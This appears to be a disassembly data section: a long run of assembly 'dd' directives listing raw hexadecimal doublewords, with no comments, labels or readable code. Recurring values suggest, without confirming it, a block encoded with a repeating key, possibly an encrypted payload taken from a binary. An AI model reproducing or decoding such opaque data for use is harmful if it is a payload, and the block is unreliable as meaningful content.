		dd 399FAA61h, 0F6E7EF24h, 0DD23DA2h, 9460C9F3h,	2D4A7FC1h
		dd 0BD950937h, 2476A94Fh, 940679ECh, 92D4F8F4h,	0CDEDE1Bh
		dd 4B6197CCh, 9E88A353h, 945FC262h, 571944F4h, 31124774h
		dd 0D988A312h, 9420534Dh, 0C63603F4h, 6399BC0Bh, 18F7D2Ah
		dd 8B661132h, 0F90A8948h, 51ECA549h, 58B8A12Ch,	2D463B2Ch
		dd 9C97894Bh, 4EF18Fh, 12EE2D34h, 1A661132h, 156689B8h
		dd 0EAE3B832h, 1524A73Dh, 9A691132h, 1566883Ah,	1564C93Dh
		dd 74062232h, 1538E6DAh, 19E88732h, 1A664432h, 156624B6h
		dd 15E31E32h, 0FC668832h, 15664183h, 1567A33Dh,	0FC9A1132h
		dd 1566883Eh, 4F9C6C73h, 0A6ADDFE3h, 0ADEB913Ah, 1542895Ah
		dd 316ACD32h, 198F42C7h, 8661132h, 165B9AA8h, 3957EDE4h
		dd 1AF18BA6h, 156611BDh, 0F9E5E932h, 3152CD36h,	0E7EFDCBBh
		dd 0CE31E6Ch, 75668832h, 0FCBE84B2h, 1566223Dh,	4D454275h
		dd 0A893EFC3h, 998B8DDCh, 74EE8BBDh, 156F9E3Dh,	0AA068832h
		dd 2C449733h, 7E077861h, 128F15E0h, 28668832h, 77532001h
		dd 80EFCBADh, 1373001Bh, 93DEEE52h, 1568AC89h, 744F2232h
		dd 51C6F5ACh, 9C84D64Eh, 0D8BF6DA3h, 743FFCB9h,	95691558h
		dd 15668835h, 7655FE52h, 7D07257Ch, 15660132h, 1573013Dh
		dd 58F4432h, 0F7662232h, 0DB887906h, 8576401Bh,	0CAB8C149h
		dd 47DDF518h, 0D7E7F3BBh, 15668836h, 9262AEB1h,	9C3A0626h
		dd 7F9E3526h, 15726132h, 7ADC4432h, 0E3823611h,	49531735h
		dd 9C165278h, 0EA5D9E25h, 80992BE7h, 137335FBh,	156682DBh
		dd 75A01632h, 7D6644DDh, 1ADE5B18h, 156689BEh, 90EFBD32h
		dd 13732997h, 1568F952h, 3E0B8832h, 0CDDB9B3h, 0F6CA6F66h
		dd 641AF3Ch, 4AB50354h,	156650DAh, 4917E332h, 3D4D1F94h
		dd 98E6186h, 38EFF255h,	0DDD4AF30h, 1574F8C1h, 0F2D08832h
		dd 5AA5F263h, 3BBB03F3h, 63403351h, 8AB0B9E1h, 0AA0E2569h
		dd 9C662236h, 0FC3C3536h, 15668821h, 9018516Eh,	16CC4811h
		dd 3238EA27h, 387915C1h, 9ED870FAh, 9C31063Eh, 11A190D5h
		dd 96668832h, 29E140F5h, 98697E16h, 15661137h, 0E2ED7D52h
		dd 4848AC53h, 18F2232h,	91661132h, 817FF3B6h, 8D9DDB96h
		dd 981ACBC2h, 9D7C31CEh, 7D63A402h, 15662D62h, 754216BBh
		dd 156614DAh, 86037A32h, 7438B0C4h, 7330429Fh, 9ED8C3B3h
		dd 0A5E0336Ah, 10074F37h, 0AE06A51h, 0E49B137h,	31228B00h
		dd 3AC66916h, 764B1029h, 7579977Ah, 15668FDBh, 9E39E732h
		dd 9424AADEh, 980E4153h, 9C668829h, 4A3E600Eh, 1561AF3Dh
		dd 97691132h, 15668833h, 0EBEF12CEh, 314AA364h,	46222C0Fh
		dd 28A50969h, 4B35000Fh, 0F3EF74CAh, 1562D7B3h,	0FBE78832h
		dd 15664436h, 494216B5h, 75422DBBh, 156681DBh, 1FE0B32h
		dd 249738A9h, 0AF353536h
		dd 16E7B402h, 7506256Bh, 1566AE3Dh, 9E691132h, 15668832h
		dd 1568AD53h, 936B2232h, 0DDD7ABF3h, 7C7126BAh,	0E3C3E8BDh
		dd 75A61253h, 0EDFEE2B2h, 0E8132653h, 156643DBh, 816BC532h
		dd 4F06BA3Ah, 315203C7h, 9485CD61h, 156626F1h, 11A59032h
		dd 92668832h, 1A3A602Eh, 15662EB1h, 13E11E32h, 1A668832h
		dd 156644B1h, 0BEA1A332h, 94648C56h, 12C22DDh, 94B96D1Ah
		dd 12C88F5h, 0BE89901Ah, 0FC641556h, 1566443Fh,	92432357h
		dd 2979370Fh, 9D26E632h, 9C36BD64h, 156227D2h, 114B1132h
		dd 92668832h, 9C3A6036h, 68F0626h, 0A4661132h, 0C9443906h
		dd 0DF903549h, 5C87FA78h, 0EAD48B8Fh, 4336E4F0h, 0E5EFBABBh
		dd 4DA4AB6Ch, 0BCDB9ACEh, 1A609D2Eh, 15664AB3h,	156FCB32h
		dd 0AAE81132h, 41AFDF24h, 0AC571A4Fh, 0EA99DDCDh, 1572923Dh
		dd 1A8F8832h, 4F664432h, 4BFB2213h, 6E76A8E3h, 9A766537h
		dd 0D557555Fh, 0AC3770CAh, 6FE2604Ah, 9BEE49B3h, 0DFEFC149h
		dd 9F94236Bh, 9F694B30h, 1566883Fh, 15664CDBh, 21B61032h
		dd 0FB22CBB4h, 0FCAEB800h, 1566443Eh, 0CCF31CFFh, 883D413h
		dd 2CF73132h, 0E5578203h, 8326E403h, 156619DBh,	40239332h
		dd 0E4949064h, 1AEF2DABh, 0FC661132h, 15668838h, 0C4E8AA1Ah
		dd 46683CFBh, 2199A30Ah, 316203B5h, 0FC6280B1h,	15662237h
		dd 0A0DEDECh, 1D8F4919h, 3857FF52h, 0AF005B16h,	24071360h
		dd 157261F3h, 0C1544432h, 7795144Ch, 0D040C20Fh, 3F4A3716h
		dd 14C924B4h, 1A2C1D7Dh, 0EA9944B7h, 1BE487CDh,	0FC664432h
		dd 1566223Bh, 77521D5Ch, 1364F45Ah, 550EB8E8h, 9C662225h
		dd 1A3E353Eh, 156680BFh, 17E04B32h, 75662232h, 0C2918653h
		dd 0D2577003h, 7306BC03h, 1A940089h, 156610BDh,	0EA077D32h
		dd 943C6006h, 156626F6h, 0E00EE932h, 9C66887Bh,	11E76036h
		dd 124E0316h, 94649E40h, 124EA918h, 156AAD40h, 26A02232h
		dd 0E9705375h, 1B882051h, 453334D1h, 1566268Ah,	4DA39832h
		dd 0FC3B6233h, 15664435h, 0A41573A8h, 409BBD15h, 0D0E76DBBh
		dd 15664436h, 9262CFB1h, 9C3A351Eh, 9506AC26h, 1D8E42D2h
		dd 7A662232h, 60F3F380h, 0FC3D45A0h, 15664422h,	3D9417C6h
		dd 0BEDDA647h, 7CD3FB27h, 0E6D0054Fh, 1A064368h, 156612B9h
		dd 7FBD0832h, 749CF33Dh, 1F3BA7CDh, 9E9A1727h, 6CD5A7h
		dd 805FBD34h, 13730A87h, 1503953Dh, 94698832h, 15664433h
		dd 3152DDC7h, 11A29268h, 315203CEh, 9480CD64h, 156626F4h
		dd 11A09232h, 4942BCB5h, 11DF15C7h, 94662232h, 0C3030F4h
		dd 94A8897Ch, 0C3065DCh, 188F7B7Ch, 0B8661132h,	0E7A821AFh
		dd 88ADC321h, 1E0B1B95h, 0EA9A63DBh, 0AA06E8CDh, 2A1B0404h
		dd 1566AE3Dh, 1A071132h, 156688B9h, 9E9E2532h, 9C360626h
		dd 156214D2h, 11638832h, 92664432h, 1A3A0636h, 15661BB7h
		dd 9069E832h, 15664432h, 0EA074352h, 94383506h,	15668CF6h
		dd 1BEC4B32h, 0FC662232h, 1566113Bh, 989EA910h,	0EA424112h
		dd 198F4376h, 78661132h, 0D04B82BBh, 97D541CBh,	1AAD8283h
		dd 15661FBDh, 9669E832h, 15664432h, 1566A03Dh, 9E071132h
		dd 9C34AC3Eh, 11A4C5D0h, 94662232h, 156615F0h, 31720F32h
		dd 11EDB86Eh, 0F5EF7216h, 15661537h, 15628D32h,	11E14432h
		dd 0D29F7E16h, 7E40B7h,	15668834h, 1568AD32h, 16282232h
		dd 59DFF46Bh, 0BFD42FA2h, 3955A1C9h, 1561A63Dh,	9E691132h
		dd 15668833h, 4CE383C7h, 1560373Eh, 1A661132h, 156689B3h
		dd 0A8E5B832h, 137AA550h, 3FE21E32h, 0EC668832h, 8DB5D9BFh
		dd 9C692429h, 15661133h, 1A93E8CAh, 0EA07838Dh,	12ED2DE1h
		dd 1A661132h, 156689BCh, 9569B132h, 15662233h, 80E3EECBh
		dd 0E9609D20h, 7F3F9B1h, 1A022427h, 15644CB0h, 90A17D32h
		dd 137356A7h, 15662233h, 989371CAh, 95219B7h, 19E14B34h
		dd 1A662232h, 156617B3h, 15E18732h, 0EA664432h,	1569CBE2h
		dd 80331132h, 0CE6F46BCh, 895B71F3h, 5D1ECAE7h,	3EF1E74h
		dd 1A668832h, 156654B6h, 156DCB32h, 8DB61132h, 0D467619Dh
		dd 1BDE49D1h, 27D3AFF7h, 75600DBAh, 15668DDBh, 121F1232h
		dd 0A269BAA1h, 0A8EB70C3h, 137B9A1Ch, 64A1C5CAh, 943E7236h
		dd 476EADDh, 9491A153h,	476BFF5h, 6489A353h, 753E4136h
		dd 0AF980354h, 2355765Ah, 22464A53h, 29EF1132h,	9169D216h
		dd 15664437h, 0EC0B9752h, 0BCDB9A53h, 0E0609D2Eh, 0EA99BB8Bh
		dd 0D557D7CDh, 156E993Dh, 96698832h, 15664430h,	0AE354352h
		dd 15661132h, 16EC7B33h, 944258B9h, 156626F6h, 1575F832h
		dd 0DDF48832h, 761BC7E1h, 0BC5DBEC9h, 0D5A6C55Eh, 0D95BEDCEh
		dd 75AE7454h, 9400DBB9h, 7426E6FAh, 0EA993260h,	0C34FBBCDh
		dd 95934268h, 0FC075BFAh, 15668835h, 6C1535Eh, 0EA4FABD8h
		dd 11ED9606h, 11A20B16h, 156AC73Dh, 73062232h, 94C8D388h
		dd 240F21C0h, 0FCA7255Eh, 156ACB3Ah, 0ECA71132h, 6425770Bh
		dd 4F2E383Ch, 0D45753F5h, 4FBC9052h, 0FC52F1B6h, 15664438h
		dd 0DF964176h, 9CEF9B16h, 5F07CC3Ch, 0EA36C13Dh, 9469DDCDh
		dd 1566113Bh, 15EC8752h, 0EC664432h, 118AA153h,	94421DBBh
		dd 1EBAC06h, 203E2533h,	746736BFh, 19141CAh, 31620316h
		dd 156280B3h, 2C9A2232h, 47B4B7h, 8BE28734h, 0FC664432h
		dd 15662234h, 60880024h, 0F9E7A9AFh, 15664436h,	0A8420EBBh
		dd 2B953E22h, 946165F3h, 68801ADFh, 488EAB32h, 156618DBh
		dd 7D48C832h, 1CCE12Ah,	0D56DCBDFh, 1551943Dh, 43068832h
		dd 15664ADAh, 4F1C6332h, 0CC48A263h, 2FE657E6h,	4AC7A90Eh
		dd 9969426Ch, 15661132h, 1566023Dh, 74074432h, 0B03A7F5h
		dd 15671727h, 90698832h, 15664433h, 0AFDB77CAh,	9466206Bh
		dd 5547A1F3h, 948F452Ah, 55470BDBh, 78F4C2Ah, 0C3668832h
		dd 0E4D62531h, 89AF0D7Dh, 0A012ED93h, 385CFB76h, 68F25C7h
		dd 0D9662232h, 0EC3F0E9Bh, 0A59290D3h, 0D2416618h, 5C615D06h
		dd 7D357B59h, 7CC1C7C9h, 0A085C569h, 0E236566Fh, 0E7DC43E1h
		dd 3C0E2E23h, 0FEE71EE1h, 0E03C793Ah, 0E93DC8BBh, 133A3163h
		dd 7D300B59h, 44EC5616h, 8E88906Ch, 94705C04h, 28CA87DCh
		dd 4B94AB42h, 0E03FDB33h, 5EB00852h, 7506E953h,	1D81A354h
		dd 0CA8F904Eh, 7422C304h, 9C9E25CEh, 6CB387h, 53A1E834h
		dd 0ED647ACEh, 0E900C526h, 366440C7h, 149A57B3h, 94668832h
		dd 52B5B87Ch, 5BE701CDh, 765D4ACEh, 0E9200912h,	0C966C437h
		dd 0FDA0A952h, 1566113Fh, 5DE42035h, 30E787A2h,	7B036D35h
		dd 156AF861h, 6F5D8832h, 0C34CD88Eh, 4B89CA30h,	7438A541h
		dd 0FB88660Fh, 0A1E34BDCh, 75662232h, 1565973Dh, 9E008832h
		dd 2BE725F4h, 0C8BBFFEFh, 15FB943Dh, 1A068832h,	156642BDh
		dd 15E72D32h, 73661132h, 746BEF88h, 6C7AFE60h, 0A8333EB8h
		dd 9EC682Eh, 9C3B621Bh,	449A1E24h, 1566268Bh, 9EA81032h
		dd 0D1E7AC3Eh, 15664436h, 1567A33Dh, 9C931132h,	6C1987h
		dd 9E69BC34h, 15662223h, 156D983Dh, 138F8832h, 7C664432h
		dd 4B31D713h, 3E78F8D9h, 0FC068832h, 15664437h,	608BCA22h
		dd 4862A8E8h, 0FC079A17h, 0EA99BA84h, 156630DBh, 29D84432h
		dd 59735283h, 22D349Eh,	0E4ADA98Eh, 1A1543A2h, 156682BDh
		dd 1563AD32h, 35F02232h, 94A589C6h, 15668CDEh, 3162CD32h
		dd 854226B3h, 4E1DAB12h
		dd 35F663B3h, 0ED063F88h, 156630DBh, 71F4D332h,	0A44DB598h
		dd 2B39F45Dh, 0E8319885h, 7465D013h, 0B030D01h,	48F4227h
		dd 35662232h, 39569928h, 4D2BC037h, 3C43EF59h, 12117B27h
		dd 1A65D9F3h, 15669CBAh, 1BE84B32h, 0FC662232h,	1566113Bh
		dd 8C3FF754h, 0BB8A55F6h, 0A3DC70A1h, 0C4116737h, 759409D0h
		dd 943E632Ah, 183982C0h, 1184D068h, 94606AF3h, 65A56AF0h
		dd 4FB62360h, 3B4BC11Bh, 750D2B41h, 156656DAh, 6CD9B532h
		dd 779A961Ch, 0CA7A4812h, 0DB918EAh, 1AB2B0A0h,	0FC3DE785h
		dd 15668837h, 7143C851h, 78F43C5h, 0F1661132h, 17C3886Bh
		dd 5906A967h, 7F72BB3Bh, 112B8D27h, 5A64902h, 1567CF3Dh
		dd 24932232h, 1560F8FAh, 0FC1B8832h, 56F7C735h,	0B03BFBBh
		dd 9B691727h, 1566883Ah, 1564CE3Dh, 74062232h, 1466110Fh
		dd 0AAE58732h, 0FC664433h, 15662221h, 0A966EB7Ch, 82FB73F0h
		dd 0DB34A9EDh, 0B0FF4AD7h, 943BF563h, 0AEDD330Ch, 8EE34B89h
		dd 75662233h, 10E31ECEh, 73668832h, 0E173A3B3h,	460E553h
		dd 0C44AAB78h, 14DDDB14h, 1C041E5Fh, 13E7792Ch,	91E713EFh
		dd 15668DDBh, 433C4532h, 0AA31C191h, 15661136h,	469B4EB3h
		dd 0EB674E72h, 469BCCB3h, 0FC391B72h, 15668821h, 0F81F886Ch
		dd 0DAC9EC0Eh, 0F5FC4A19h, 894C0A30h, 9CC2846Ah, 6CB387h
		dd 19E41E34h, 1A668832h, 156642BEh, 15E12D32h, 9E661132h
		dd 7FC5AFh, 2699B834h, 94422EB9h, 156615F6h, 138FE832h
		dd 0A9664432h, 7449B51Fh, 2AD97716h, 0F9E5E91Bh, 3162CD36h
		dd 1576CB68h, 0D8251132h, 716C5ED0h, 0B79CA490h, 12B78694h
		dd 1A06A349h, 156689B9h, 9B69B132h, 15662221h, 15661FDBh
		dd 59E27F32h, 870F445Fh, 952146Bh, 4343F1C1h, 0E5EFD660h
		dd 14EA4B6Ch, 0E9662232h, 9DB9419h, 93698E27h, 15664420h
		dd 15662FDBh, 90F3A332h, 0BFEF457Ah, 6F928E92h,	0F5A753ADh
		dd 83D77130h, 0D55C51B3h, 16073010h, 674BB7h, 5E21E34h
		dd 75668832h, 156641DBh, 78C66132h, 0AB006C3Eh,	2407DC0Fh
		dd 24A075C2h, 0ED3442C2h, 74979A69h, 14EE879Fh,	0E9664432h
		dd 1D62251Fh, 43AE1026h, 1D628F8Ch, 4B964526h, 156CAB3Dh
		dd 108F1132h, 41668832h, 767F34F8h, 3122ABC7h, 1DE41E2Eh
		dd 1A668832h, 156646BBh, 74074232h, 15661CDBh, 54338632h
		dd 413427ECh, 0F24E66BEh, 698FD391h, 75668831h,	35C75C8Ah
		dd 13E32D6Dh, 1A661132h, 156688B0h, 0F9E72532h,	15662236h
		dd 75421DBBh, 0FCBF3F3Dh, 15664422h, 0B2FB29Ch,	0D82C90BCh
		dd 26531FB1h, 0D3807B4Eh, 0F2EF7553h, 1562D6B3h, 0FAE58832h
		dd 315AC336h, 3172AB6Eh, 156602DBh, 0B0516E32h,	27BF605Dh
		dd 2A70FBCh, 782CB090h,	0E884422Ch, 95698D03h, 15662233h
		dd 0B0F39ACEh, 0FC609D39h, 1566443Ah, 0C3640E65h, 0CEC19E58h
		dd 91698A09h, 156644DDh, 156631DBh, 0C4A2C832h,	272F0415h
		dd 0D088E52Ch, 2361440Eh, 0FC1AF468h, 1561DC5Ah, 317ACD32h
		dd 15662689h, 4EBC1032h, 1577093Dh, 198F4432h, 0E9662232h
		dd 886E9730h, 8F1F1BE4h, 46504284h, 9C0AE689h, 0E2B5E653h
		dd 0D08D09E1h, 3C07CD5Eh, 1A0679EBh, 9E00C285h,	985DE9F9h
		dd 13736C87h, 0EAF4A73Dh, 9569EECDh, 15668839h,	15E94B52h
		dd 95662232h, 4307B7DAh, 6E7D9E8Ch, 0F18CFC59h,	0CA63B6B6h
		dd 143E9F23h, 4B9A5C2h,	1A381CBCh, 156634BCh, 1E8F7132h
		dd 0E6668832h, 0F78AE190h, 4629C74Dh, 0AE007559h, 9807DAFCh
		dd 29DABFh, 1569CB34h, 99C11132h, 5DA48BFBh, 0DE6DBF62h
		dd 80AF8443h, 12E81EB8h, 1A668832h, 156645B0h, 0F499D732h
		dd 15739E3Dh, 1A068832h, 1E8FB785h, 0BB662232h,	52D423E7h
		dd 86AA3059h, 9C07BD3Dh, 6C7FBFh, 0C8E67134h, 0CDDD897h
		dd 4E70B9A3h, 3172A953h, 94879863h, 15668CF3h, 11A7C732h
		dd 49422EB5h, 1567993Dh, 0EA9E8832h, 963F6006h,	1A0626F6h
		dd 128FCA85h, 47668832h, 0B6D9C5EFh, 0E0072268h, 152B945Ah
		dd 31520132h, 156649DBh, 81044A32h, 414BE205h, 0E673A3C3h
		dd 9E69F4B9h, 15662226h, 0FDA79B52h, 15668838h,	23CEBF3Dh
		dd 3225D747h, 743CAA6Ch, 0C2B15B9h, 1A9A4227h, 156623BFh
		dd 2699E432h, 944284B9h, 156640F6h, 1BE82D32h, 0FC661132h
		dd 1566883Bh, 513BBA0Dh, 0C517AF69h, 48E39A8Fh,	75609D38h
		dd 94BCF33Dh, 47DAA0DDh, 0F5B7707Ah, 15720B3Dh,	0FC064432h
		dd 15662239h, 0E4696A10h, 89E106DEh, 479A1835h,	9269436Ch
		dd 1566112Ah, 15669BDBh, 0C90C0132h, 0BCA69111h, 1264BEF9h
		dd 54E856E0h, 90AD6B93h, 37EFA731h, 96691727h, 15668834h
		dd 4EDF2252h, 0E357435Ch, 156618DBh, 0CB34D532h, 28E5573Ch
		dd 0BD0E6DF8h, 9C661131h, 4D30AC36h, 0B800B86Ch, 156630DBh
		dd 61A42632h, 0B117B191h, 86D637A8h, 314826A1h,	0D46B0D5Ch
		dd 99698AD2h, 15664439h, 0D6ED4452h, 1566953Dh,	16078832h
		dd 672DB7h, 138E4234h, 78661132h, 0B0D29C01h, 4AD9F13Ch
		dd 118AA353h, 9C661132h, 4D30AC36h, 1575AD6Ch, 23022232h
		dd 16EF257Bh, 0FFB19B30h, 5F1AB4F7h, 678A3748h,	9869BC98h
		dd 15668824h, 156655DBh, 596B8D32h, 142912B6h, 3C64F9DDh
		dd 266B30A6h, 7506A886h, 4F314864h, 0E5E7E853h,	67DF22FCh
		dd 1566AE3Dh, 74071132h, 4176AE37h, 5A5F4107h, 0DD670D92h
		dd 0B529281Fh, 540A51Dh, 58F7166h, 61662232h, 386BE788h
		dd 0EB64CC8Ch, 936A4418h, 75CDF050h, 1A38E864h,	15668AB3h
		dd 743C1632h, 424216B9h, 0D2E7F6BBh, 15668836h,	156283B3h
		dd 29E12232h, 969A4D16h, 4A658Fh, 91694534h, 156622E0h
		dd 90EB2ACBh, 1A609D24h, 156681B6h, 1F8FD732h, 7B661132h
		dd 0ACF7B131h, 0EE218662h, 9CEB1992h, 1A600435h, 156621B6h
		dd 1569AD32h, 0B3D12232h, 0FB464155h, 0AAF45764h, 0A7360DF8h
		dd 9CEB199Fh, 1A600425h, 156601B6h, 1560AD32h, 24FD2232h
		dd 0A74263BCh, 0F14315BFh, 9669422Eh, 15662239h, 0D2ED7752h
		dd 1566063Dh, 0EA074432h, 0F9E7DBE1h, 15661136h, 94428CBBh
		dd 11A16006h, 94390FC6h, 0E162D6C5h, 156A611Fh,	0BCC4432h
		dd 7A08AB9Bh, 5B6E50A5h, 138F7B5Eh, 76664432h, 0A3F201DDh
		dd 98E398FAh, 75609D2Bh, 82D2AF8Ch, 4EB2D2Dh, 0FD661132h
		dd 15668839h, 8F7553FAh, 0CFE69D9Ah, 4FFACA8Ch,	2F8F7D53h
		dd 1A66442Ch, 156623B4h, 88EBE832h, 137A6C17h, 1568AD52h
		dd 5E232232h, 0A0C7D638h, 0D6EF7C5Dh, 19CBEFAh,	0CBD92D64h
		dd 0C699706Dh, 15669BDBh, 0A3205532h, 7F2D4768h, 878A790h
		dd 21A89BF9h, 4794C326h, 398B9FB1h, 1A661727h, 1566DEB6h
		dd 739A2432h, 0D2EFD4B3h, 24E32A53h, 1A609D3Eh,	156668B6h
		dd 156DCB32h, 9A5E1132h, 551FC137h, 400FD9DFh, 74E31930h
		dd 1A60043Bh, 1566AEB7h, 156DAD32h, 6B5F2232h, 7BA653F3h
		dd 0DF262832h, 0EB90ADA6h, 0FC9FDDCDh, 15661139h, 145C0775h
		dd 0A505C01Eh, 2E980511h, 4F2CB7h, 83E38734h, 1A664432h
		dd 156623B6h, 9506E432h, 0F3E77DE1h, 21ABFFE1h,	0A0DBA153h
		dd 1560041Fh, 15570C3Dh, 97694432h, 1566223Eh, 156616DBh
		dd 0B4252732h, 19D5F6Bh, 100B9FB1h, 1A661727h, 1566D0B6h
		dd 156BAD32h, 0AB892232h, 1EDE1124h, 892574C4h,	98357AD1h
		dd 95991B7h, 1B8E7134h
		dd 0FB668832h, 0D55CA8AFh, 0CC5D4E84h, 0A7B5582Dh, 0C3E7EEECh
		dd 1A3EC943h, 156621B7h, 0D0AB9132h, 4C8F7153h,	7599BBCCh
		dd 1565A13Dh, 0A2691132h, 156061FBh, 0D2934432h, 78F2F260h
		dd 28E32A53h, 1A609D1Bh, 0EA9873B6h, 940042CDh,	94B633C5h
		dd 16BC33E0h, 0A8E52538h, 137AA574h, 43E31E33h,	1A668832h
		dd 15664AB4h, 156FCB32h, 0A9861132h, 26427110h,	0ED80888Fh
		dd 921CA709h, 9069172Eh, 15668807h, 0CDED2252h,	0A095A354h
		dd 90EB708Bh, 153F83D6h, 156643DBh, 91CE6B32h, 0D92261EDh
		dd 0E89261CEh, 9869BBCDh, 1566223Fh, 156619DBh,	5F47CC32h
		dd 0DA9F8BDFh, 0FC9913E7h, 15661137h, 5369320Dh, 0D4DBC726h
		dd 15603723h, 1A64953Dh, 128F8832h, 0F7664432h,	0A6C21AF7h
		dd 905D58C1h, 137A0F54h, 155EC13Dh, 0E09E2232h,	3C4F94B9h
		dd 1A068E27h, 156647B1h, 0DED92D32h, 74A0AE3Dh,	448D3163h
		dd 0CC917153h, 0DCE7F3C5h, 3B367B87h, 0E4E761E3h, 0F5210632h
		dd 1A3FED1Bh, 156610B7h, 905D7132h, 137AC35Ch, 1546A73Dh
		dd 9E9F1132h, 49B9B7h, 9E002434h, 0AD3643F8h, 0EA99EECDh
		dd 753E4F1Bh, 0F4EFA789h, 7406740Fh, 905D7068h,	137A0F58h
		dd 1558C13Dh, 9E9E2232h, 44DCB7h, 15766134h, 48D94432h
		dd 8930CFA9h, 31C37BF6h, 87F1A22Dh, 0AD36B315h,	25993BE0h
		dd 0E253517Ah, 55140569h, 30539CC5h, 3C245070h,	108F49F5h
		dd 1668832h, 1E4D1B31h,	9214A709h, 9069172Eh, 1566881Ah
		dd 24E3CFCAh, 0FC603702h, 15661135h, 4459558Ah,	434FED4Ch
		dd 0EA99DD8Ch, 4B9138CDh, 47223C52h, 1566C13Dh,	743D2232h
		dd 92109409h, 90698E2Eh, 15664450h, 15662DDBh, 0C4AF8B32h
		dd 0F8EE1540h, 48E14127h, 5CE19361h, 12A394B9h,	0FD068E27h
		dd 1566443Bh, 0A070CF69h, 98185C0Ch, 4E3DD8E4h,	14E44B53h
		dd 0ED662232h, 0EA99AA61h, 0CA4F77CDh, 18E2469h, 0D662232h
		dd 0A438EC10h, 0F8B36316h, 0DF105BD2h, 0AD9CB4F8h, 1AB54917h
		dd 156688BEh, 0DEE61E32h, 905D43C4h, 137A9648h,	15490D3Dh
		dd 92694432h, 1566223Eh, 156616DBh, 0F79DF132h,	119B24F6h
		dd 0C83A7B9h, 0A3061727h, 0B7A608E2h, 14DD1753h, 14662232h
		dd 99694AEDh, 15668833h, 6BE37FC7h, 1A603EB5h, 156620B7h
		dd 15636132h, 79054432h, 9EB35284h, 6114B7h, 4B37E834h
		dd 74A9F33Dh, 14DF73CBh, 14661132h, 1A06D1FDh, 156642B3h
		dd 0FCB9A332h, 0A53DB405h, 905DE90Eh, 137AC3B0h, 154BA73Dh
		dd 1F8F1132h, 0C3668832h, 2E8F7D59h, 206A0716h,	0A0E39AA8h
		dd 0EC609D33h, 4D391465h, 198FB572h, 0E8661132h, 37CABE73h
		dd 0A4553C7Bh, 2E0F40D5h, 9E197B7h, 56E38734h, 1A664432h
		dd 156632B6h, 156DF832h, 750E8832h, 4D0AE943h, 0DB2B2C82h
		dd 0A0E39A3Ch, 1A609D34h, 15664EB1h, 0F7E74232h, 72BEA78Eh
		dd 4607E952h, 0EA99BB89h, 4EB90BCDh, 156E9D3Dh,	73068832h
		dd 0A26986B9h, 905D43F2h, 137A96B8h, 155E0D3Dh,	9E9E4432h
		dd 640BB7h, 19E51E34h, 1A668832h, 156642B3h, 15EC2D32h
		dd 43661132h, 1566898Ch, 4B914532h, 156633DBh, 0E9D80432h
		dd 1936AB79h, 0DCF3BC4h, 0C89F8F1Eh, 905DDFC4h,	137A0FA0h
		dd 152DC13Dh, 73062232h, 959D698Ah, 9E078FC5h, 624DB7h
		dd 156BCB34h, 75D31132h, 0FED466F6h, 0F9690479h, 468D3EBEh
		dd 4011289h, 6BAD0967h,	5E4F6613h, 8DE5E1B3h, 0CA6793FEh
		dd 15696169h, 0ADD74432h, 0F7FF10h, 97BDE563h, 66AA907Bh
		dd 9BE37F70h, 1A603EB5h, 156649B7h, 14E88732h, 0E0664432h
		dd 0DA79FB1h, 1A661727h, 1566CCB7h, 9069B832h, 1566223Eh
		dd 1560913Dh, 97698832h, 15664432h, 37FA7B9h, 98691727h
		dd 15668833h, 14DB11C7h, 14662232h, 0FC064CDDh,	15668823h
		dd 0FEBE6022h, 0C6C9A04Bh, 26AA49AAh, 0BF614257h, 0CFD14B4Ch
		dd 0ECDBA153h, 1560041Ch, 152F0C3Dh, 0AB064432h, 15A9B6EBh
		dd 64959152h, 1566063Dh, 74074432h, 9D7CA709h, 9069172Eh
		dd 15668819h, 156649DBh, 67C53532h, 5E5F7CD5h, 67EEF4FCh
		dd 90ED265Ch, 13732857h, 0EADC43CAh, 3C9977CDh,	73061EE5h
		dd 659BF8B3h, 96078F86h, 7A0D8Fh, 91694434h, 1566202Ch
		dd 0E7D11E52h, 0FDE7EE63h, 74397FF7h, 7EB9FB1h,	1A661727h
		dd 15648DB6h, 905DB132h, 137AA5CCh, 1532943Dh, 1B8F8832h
		dd 0F5664432h, 87E724A9h, 0C9F22053h, 3138EE97h, 0F4E3CFECh
		dd 0FC603730h, 1566113Fh, 564C9BD5h, 936132C0h,	13E9C149h
		dd 19EE1E3Fh, 1A668832h, 156642B3h, 15E82D32h, 43661132h
		dd 1566898Ch, 4B914532h, 15662BDBh, 2472A32h, 2EB6D730h
		dd 905DC08Fh, 137AAA3Ch, 1523943Dh, 73068832h, 1D5B96B3h
		dd 156DAE3Dh, 138F1132h, 0BB668832h, 419C7E7Ch,	90ED43A6h
		dd 137307ABh, 156699DBh, 1CEE1D32h, 6A9762FFh, 0D06C0008h
		dd 918E29E2h, 0EA31DFADh, 29ED0636h, 11A29216h,	15670C3Dh
		dd 2E9E4432h, 9EE20B7h,	3DE31E34h, 0ED668832h, 20BC1B9h
		dd 45062427h, 0D100F9B3h, 733E9E81h, 74FE8A8Dh,	733C7052h
		dd 5F6EF3B3h, 0EADED853h, 3C99BBCDh, 2E937AF5h,	9EE03B7h
		dd 27E38734h, 0FC664432h, 15662222h, 0BB92CF2Ah, 0AFF002F9h
		dd 47356C12h, 0A5CBEF96h, 35C794B9h, 44938E27h,	1566458Bh
		dd 4CA92332h, 156619DBh, 71EB7C32h, 57B6D4EDh, 3E319CBh
		dd 1A600DBAh, 1566D2B7h, 9369BD32h, 15662233h, 18E39ACEh
		dd 1A609D14h, 15664EB1h, 1563CB32h, 0C79E1132h,	1A9B152Bh
		dd 156653B2h, 1574CB32h, 81121132h, 0D8965423h,	0E3C6A273h
		dd 2B772499h, 2BF57CC3h, 13763260h, 0E7E72C7Bh,	82D0DBDDh
		dd 753CC61Bh, 748E47B2h, 156642DBh, 48F51832h, 2E936635h
		dd 9EE8EB7h, 3BE34B34h,	0FC662232h, 15661121h, 595A03BDh
		dd 14C21297h, 2CF3644h,	0A6E01EC8h, 9E9FDC67h, 73B5B7h
		dd 0AE35DE34h, 15661133h, 753D5733h, 0E0B7CF54h, 1FE31953h
		dd 1A600DBAh, 1566BDB7h, 0DAED2432h, 8F97A361h,	4C3DE4F1h
		dd 0A269E853h, 0DBD14BFCh, 74E3A953h, 0FC60043Eh, 1566883Eh
		dd 0B61AD3F6h, 62E83E73h, 0F14F2310h, 0EA993260h, 0C24FBBCDh
		dd 0A8E5DB68h, 137303BFh, 18E28732h, 0FC66443Bh, 15662237h
		dd 0E14FB3FDh, 83E3B321h, 1A6058B5h, 156611B7h,	58DD7132h
		dd 95167F2Dh, 0E00756F4h, 8CFA7B9h, 0AC061727h,	6572BE03h
